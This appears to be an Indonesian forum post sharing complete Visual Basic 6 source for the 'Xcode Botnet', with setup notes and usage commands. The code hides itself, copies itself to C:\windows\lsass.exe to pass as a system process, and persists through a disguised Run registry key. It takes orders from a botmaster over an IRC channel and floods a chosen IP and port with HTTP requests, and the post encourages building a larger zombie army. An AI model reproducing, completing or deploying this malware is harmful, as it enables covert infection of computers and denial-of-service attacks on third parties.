berikut source kodenya
Spoiler for gan:
1. Form
'Title : Xcode Botnet - "unl34sh3d YouR 0wN C0mputa Z0m813"
'Desc : Botnet
'Progammer : poni - Xcode/Yogyafree/Yogya Family Code - Software Development Team
'site : You Know Who We Are
'Disclaimer : Create Your Own Botnet, Use it As Your Own Risk
'USAGE : !ddos.start
' !ddos.status
' !ddos.stop
' !url
' !join
' !part
' !version
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal
lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Const Server As String = "irc.dal.net" 'Server IRC, bisa diubah sesuai kehendak
Const port As Integer = "6667" 'Port, bisa diubah sesuai kehendak
Const Channel As String = "#H.A.C.K" 'Channel untuk mengontrol Zombie, bisa diubah sesuai kehendak
Const Master As String = "poni" 'Botmaster, bisa diubah sesuai kehendak
Const Versi As String = "XCode-Yogyafree botnet. Open Edition auth
oni" 'Versi botDim DataGetWsc As String
Private Sub Form_Load()
WinSockIRC.Connect Server, port
timerrekonek.Enabled = True
Me.Hide
App.TaskVisible = False
infeksi
End Sub
Private Sub Form_Unload(Cancel As Integer)
If WinSockIRC.State = sckConnected Then
WinSockIRC.Close
End If
End Sub
Function connected() As Boolean
If WinSockIRC.State = sckConnected Then
connected = True
Else
connected = False
End If
End Function
Private Sub timerinfeksi_Timer()
timerinfeksi.Enabled = False
If Second(Now) Mod 100 = 0 Then Call infeksi
timerinfeksi.Enabled = True
End Sub
Private Sub timerrekonek_Timer()
If Not (connected) Then
WinSockIRC.Close
Call Form_Load
End If
Exit Sub
End Sub
Private Sub WinSockIRC_Connect()
nick = "C3we_" + modcomputername.ComputerName() + "_Cakep" + "^" & LTrim(RTrim(Str(Int(Rnd * 1000)))) &
"^"
WinSockIRC.SendData "NICK " + nick & vbCrLf
WinSockIRC.SendData "USER " & nick & " " & WinSockIRC.LocalIP & " Coba : Cobacoba" & vbCrLf
WinSockIRC.SendData "JOIN " & Channel & " " & vbCrLf
End Sub
Private Sub WinSockIRC_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim Data As String
Dim i As Integer
Dim Downloaded As Boolean
Dim WRD() As String
Dim CMD64 As String
Dim VCMD() As String
WinSockIRC.GetData Data, vbString
DataGetWsc = Data
DoEvents
If InStr(Data, "PING") Then
WinSockIRC.SendData Replace(Data, "PING", "PONG") & vbCrLf
ActiveDos = 1
End If
If InStr(Data, ":!") Then
VCMD = Split(Data, ":!")
CMD64 = VCMD(1)
WRD() = Split(CMD64, " ")
End If
If InStr(VCMD(0), ":" & Master & "!") Then
'--Perintah DDOS---'
If InStr(CMD64, "ddos.start") Then
If statusdos = "AKTIF" Then
WinSockIRC.SendData "PRIVMSG " & Channel & "
DOS Status: Hanya bisa DDOS pada satu target." &vbCrLf
Else
If WRD(1) = "" Then
WinSockIRC.SendData "PRIVMSG " & Channel & "
DOS Penggunaan: !ddos.start ip port" & vbCrLfElseIf WRD(2) = "" Then
WinSockIRC.SendData "PRIVMSG " & Channel & "
DOS Penggunaan: !ddos.start ip port" & vbCrLfElse
ip.Text = WRD(1)
ipport.Text = WRD(2)
Call mulai_tembak
End If
End If
End If
If InStr(CMD64, "ddos.status") Then
If statusdos.Text = "IDLE" Then
WinSockIRC.SendData "PRIVMSG " & Channel & "
DOS Status: Idle-menunggu perintah." & vbCrLfElse
WinSockIRC.SendData "PRIVMSG " & Channel & "
DOS Status: Aktif - Target: " & ip.Text & ":" & ipport.Text &vbCrLf
End If
End If
If InStr(CMD64, "ddos.stop") Then
StopDoS
End If
'---buka web---'
If InStr(CMD64, "url") Then
Bukasitus WRD(1)
End If
'---melihat versi bot---'
If InStr(CMD64, "version") Then
WinSockIRC.SendData "PRIVMSG " & Channel & " :INFO: " & Versi & vbCrLf
End If
'---join channel irc---'
If InStr(CMD64, "join") Then
WinSockIRC.SendData "JOIN " & WRD(1) & " " & vbCrLf
End If
'--keluar dari channel irc---'
If InStr(CMD64, "part") Then
WinSockIRC.SendData "PART " & WRD(1) & " " & vbCrLf
End If
End If
End Sub
Private Sub mulai_tembak()
timerddos.Enabled = False
sockddos.Connect ip.Text, ipport.Text
End Sub
Private Sub sockddos_Connect()
statusdos.Text = "AKTIF"
timerddos.Enabled = True
End Sub
Private Sub timerddos_Timer()
On Error GoTo diskonek
tembak:
Dim HTTPData As String
HTTPData = "GET / HTTP/1.0" & vbNewLine & "Host: " & DIP & vbNewLine & vbNewLine
sockddos.SendData HTTPData
sockddos.SendData "DDOSING.YOUR.Server.poni.xcode.yogyafree!*$
#vvfhtgfrtyrrwe54dfdwe343e2thjhgbf^%#^&#*#H#$Y#&N$ MFU*#$J%*DJ*$%JF*J$*FJ*$iiiiiiiiiiiiiiiiiii6666666 6666666
666666666666666666666666JF*J$*FJ*$%JF*J$*J*$J*FJJF OSLKFK"
Exit Sub
diskonek:
sockddos.Close
Call mulai_tembak
Exit Sub
End Sub
Private Sub sockddos_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim StrX As String
DoS.GetData StrX
End Sub
Private Sub StartDoS()
timerddos.Enabled = True
End Sub
Private Sub StopDoS()
sockddos.Close
timerddos.Enabled = False
ip = " "
ipport.Text = " "
statusdos.Text = "IDLE"
End Sub
Private Sub infeksi()
On Error Resume Next
Dim nama As String
Dim path As String
Dim Cek As String
path = App.path
If Right(path, 1) <> "\" Then path = path & "\"
nama = path & App.EXEName & ".exe"
CopyFile nama, "C:\windows\lsass.exe", True
CopyFile App.path & "\" & txtkomponenwinsock, "C:\windows\MSWINSCK.OCX", True
Cek = AmbilString(HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run ", "C:\windows\lsass.exe")
If Cek = "" Then
BuatString HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run ", "NeroCheck",
"C:\windows\lsass.exe"
End If
End Sub
2. Module ModAutorun
Private Const KEY_READ = &H20000 Or &H1& Or &H8& Or &H10&
Private Const KEY_WRITE = &H20000 Or &H2& Or &H4&
Public Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long
Public Const HKCU = &H80000001
Public Const HKLM = &H80000002
Private Const REG_SZ = 1
Private Const REG_DWORD = 4
Private Const ERROR_SUCCESS = 0&
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hkey As Long, ByVal
lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hkey As Long, ByVal
lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As
Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hkey As Long,
ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As
Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hkey As Long) As Long
Public Function BuatDword(ByVal hkey As Long, ByVal alamat As String, ByVal nama As String, ByVal nilai As
Long) As Boolean
Dim handle As Long
Dim hasil As Long
hasil = RegOpenKeyEx(hkey, alamat, 0, KEY_WRITE, handle)
If hasil <> ERROR_SUCCESS Then
BuatDword = False
Else
BuatDword = True
End If
RegSetValueEx handle, nama, 0&, REG_DWORD, nilai, 4&
RegCloseKey handle
End Function
Public Function BuatString(ByVal hkey As Long, ByVal alamat As String, ByVal nama As String, ByVal nilai As
String) As Boolean
Dim handle As Long
Dim hasil As Long
hasil = RegOpenKeyEx(hkey, alamat, 0, KEY_WRITE, handle)
If hasil <> ERROR_SUCCESS Then
BuatString = False
Else
BuatString = True
End If
RegSetValueEx handle, nama, 0, REG_SZ, ByVal nilai, Len(nilai)
RegCloseKey handle
End Function
Public Function AmbilDword(ByVal hkey As Long, ByVal alamat As String, nama As String) As Long
On Error Resume Next
Dim handle As Long
RegOpenKeyEx hkey, alamat, 0, KEY_READ, handle
AmbilDword = RegQueryValue(handle, nama)
RegCloseKey handle
End Function
Public Function AmbilString(ByVal hkey As Long, ByVal alamat As String, ByVal nama As String) As String
On Error Resume Next
Dim handle As Long
RegOpenKeyEx hkey, alamat, 0, KEY_READ, handle
AmbilString = RegQueryValue(handle, nama)
RegCloseKey handle
End Function
Private Function RegQueryValue(ByVal hkey As Long, ByVal strValueName As String) As String
Dim hasil As Long
Dim Jenis As Long
Dim Buffer As String
Dim Ukuran As Long
hasil = RegQueryValueEx(hkey, strValueName, 0, Jenis, ByVal 0, Ukuran)
If hasil = 0 Then
If Jenis = REG_SZ Then
Buffer = String(Ukuran, Chr$(0))
hasil = RegQueryValueEx(hkey, strValueName, 0, 0, ByVal Buffer, Ukuran)
If hasil = 0 Then RegQueryValue = Left$(Buffer, InStr(1, Buffer, Chr$(0)) - 1)
ElseIf Jenis = REG_DWORD Then
Dim strdata As Integer
hasil = RegQueryValueEx(hkey, strValueName, 0, 0, strdata, Ukuran)
If hasil = 0 Then RegQueryValue = strdata
End If
End If
End Function
3. Module modbukasitus
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal
lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal
nShowCmd As Long) As Long
Public Sub Bukasitus(Website As String)
ShellExecute 0&, vbNullString, Website, vbNullString, vbNullString, SW_SHOWNORMAL
End Sub
4. modcomputername
Option Explicit
Private Declare Function GetComputerName Lib "kernel32" _
Alias "GetComputerNameA" (ByVal lpBuffer As String, _
nSize As Long) As Long
Public Function ComputerName() As String
Dim lsBuffer As String
Dim llReturn As Long
Dim lsName As String
lsName = ""
lsBuffer = Space$(255)
llReturn = GetComputerName(lsBuffer, 255)
If llReturn Then
lsName = Left$(lsBuffer, InStr(lsBuffer, Chr(0)) - 1)
End If
ComputerName = lsName
End Function
Referensi :
[1] http://forum.yogyqafree.net
[2] http://www.hackhound.org
botnet di komputer yang terkoneksi ke internet. Jalankan irc client (mIRC, Xchat dll), masuk ke channel
yang telah anda set tersebut. Semakin anda memiliki banyak botnet, semakin kokoh pasukan zombie
digital anda.
Komponen form
· textbox - ip = kolom IP address target
· textbox - ipport = kolom port server target
· textbox - statusdos = untuk menjaga serangan DDOS tetap terarah pada satu target
· textbox – txtkomponenwinsock = untuk copy komponen activeX MSWINSCK.OCX ke C:\windows
· MSWINSCK.OCX - WinSockIRC = Untuk melakukan koneksi ke server IRC
· MSWINSCK.OCX - sockddos = Untuk melakukan koneksi ke server target DDOS
· Timer - timerrekonek (Enabled = false & Interval = 4000) = untuk melakukan koneksi ulang jika
botnet terputus dari server IRC
· timer - timerddos (Enabled = false & Interval = 400) = untuk melakukan serangan DDOS ke
server target
· timer - timerinfeksi (Enabled = true & Interval = 1000) = untuk membuat dan menjaga supaya
botnet tetap aktif setiap kali komputer dihidupkan (autorun at startup)
. Dengan Format SMS: